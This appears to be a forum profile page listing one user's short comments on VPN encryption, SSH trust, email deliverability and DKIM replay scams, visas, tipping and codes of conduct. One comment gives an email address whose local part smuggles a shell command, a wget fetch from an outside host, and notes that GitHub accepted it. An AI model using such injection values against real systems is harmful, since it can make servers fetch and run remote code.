ryan-c

17 ms·

211.
by ryan-c 4y ago
> You can always use a stronger encryption. Which? As I said, I assumed you were talking about MPPE. > So clearly in this case the route wasn't trusted. Then trusted routes don't exist. > Intranets are vulnerable only if
212.
by ryan-c 4y ago
I believe the flow allows you to view certificate information prior to accepting, and then only that certificate will be accepted for only that hostname.
213.
by ryan-c 4y ago
My comments: > When connecting to the internet required calling the ISP with a modem, it was possible to encrypt the whole call Assuming this is talking about MPPE for PPP, it's completely broken[1]. > if the server also has (an
214.
by ryan-c 4y ago
A bunch of confused Europeans here. In the US... No tip says "I am an asshole" Very small tip says "You are an asshole/incompetent" It is a deliberate insult.
215.
by ryan-c 4y ago
> there has been zero change to regular life as a result of leaving the EU I've noticed that buying things online from mainland Europe has gotten significantly more annoying and expensive. There have also been a lot of issues for
216.
by ryan-c 4y ago
I got one of these visas ("Exceptional Talent") in 2019, also via TechNation, before they were updated and renamed to "Global Talent". The main difference seems to be that now three letters of recommendation are required
217.
by ryan-c 4y ago
I've been self-hosting since 2004. I currently route via a VPS. The only issues I have seem to be with outlook.com/hotmail.com/etc - free Microsoft accounts. That goes to junk, though replies seem to work fine. Paid Outlook36
218.
by ryan-c 4y ago
This is a valid, working email address: `wget${IFS}r.vc/ghe`@ryanc.org GitHub's systems were happy to verify it.
219.
by ryan-c 4y ago
My experience with this as been more that they will silently drop email if you haven't been sending enough legitimate email for them to classify you as non-spammy. How do you bootstrap that? I have no idea.
220.
by ryan-c 4y ago
The server requests the client prove it holds the private key in a way that is bound to the session id, which is derived from the shared secret established with ephemeral key exchange. https://security.stackexchange.com/ques
221.
by ryan-c 4y ago
This scam does not rely on services being able to send to arbitrary email addresses without prior confirmation.
222.
by ryan-c 4y ago
In the version I looked at, the scammer sent it to their own email account and did a replay attack against the victim - which doesn't invalidate the cryptographic anti-spam signature.
223.
by ryan-c 4y ago
DKIM signed emails from PayPal are treated favorably by spam filters. The sample I reviewed had been set to an account belonging to (or compromised by) the scammer, modified slightly, and BCC'd to the victim. Specifically, a Reply-To h
224.
by ryan-c 4y ago
> I feel compelled to be "that guy" for a second and just mention that while this is convenient, it makes you blatantly vulnerable to man-in-the-middle attacks. I don't believe that it makes you vulnerable to MitM attacks
225.
by ryan-c 4y ago
I understand that, my point was to provide guidance against using a problematic phrase in the future.
226.
by ryan-c 4y ago
I know you're not trying to be dismissive, but the pronouns people use aren't a "preference" and framing them as such is extremely problematic.
227.
by ryan-c 4y ago
Doesn't matter if you care or not, use the correct ones.
228.
by ryan-c 4y ago
The fact that the debugger API is active is almost certainly detectable. I haven't tried recently, but it's been possible in older versions - and I've yet to come across a spoofing tool that I couldn't find a way to dete
229.
by ryan-c 4y ago
"For fraud prevention purposes" is a legitimate interest, so the probably won't work.
230.
by ryan-c 4y ago
I've got to agree with Spivak that this feels a bit like fearmongering. Assuming this person transitioned in the 1990s based on age, the standards of care were... problematic. This probably would have been the Harry Benjamin Standards
231.
by ryan-c 5y ago
Honestly, the biggest thing for me was just forcing myself to find opportunities to socialize, and take them. Especially when I wasn't totally comfortable with it. In high school, I joined the anime club there (yes, I'm a nerd),
232.
by ryan-c 5y ago
> A facetious example of the lunacy of the existing "Code of Conduct" brigade This seems like nothing more that a textbook strawman argument, except you haven't even bothered to make the argument. > A Sane "Code of
233.
by ryan-c 5y ago
> It’s a bad thing because the enforcement is arbitrary and not transparent. That's not an inherent issue. Sometimes enforcement must be opaque to protect victims, but otherwise it should absolutely be transparent. > It’s also ba
234.
by ryan-c 5y ago
Which people, in particular, do you feel are excluded by codes of conduct? The goal of these things is indeed to exclude people, but what you are missing is that the people it they seek to exclude is those whose behavior in the community ex
235.
by ryan-c 5y ago
It turned into a bit of a malware redirect cesspool, and I guess they didn't want to police it. I ran across the issue about two weeks before this blog post: https://twitter.com/ryancdotorg/status/147567319565
236.
by ryan-c 5y ago
This story is a fabrication. Please tell John that we're worried about him.
237.
by ryan-c 5y ago
I've had my PA arrange doctor's appointments, it's great. It's not a matter of working too much, it's that I only have so much mental energy to go around. Decisions can be draining. Dealing with people can be draini
238.
by ryan-c 5y ago
I hired one early this year through a "virtual assistant" company in the UK (Virtalent), as I don't need enough help for a full time person to be sensible, and they did a nice job of matchmaking. I had an initial call with on
239.
by ryan-c 5y ago
https://rya.nc/files/paketto-2.00pre5.tar.gz I'm not sure whether I got it directly from him or if I had a saved copy, but that's the most recent version.
240.
by ryan-c 5y ago
Yeah, I have a copy.

More ›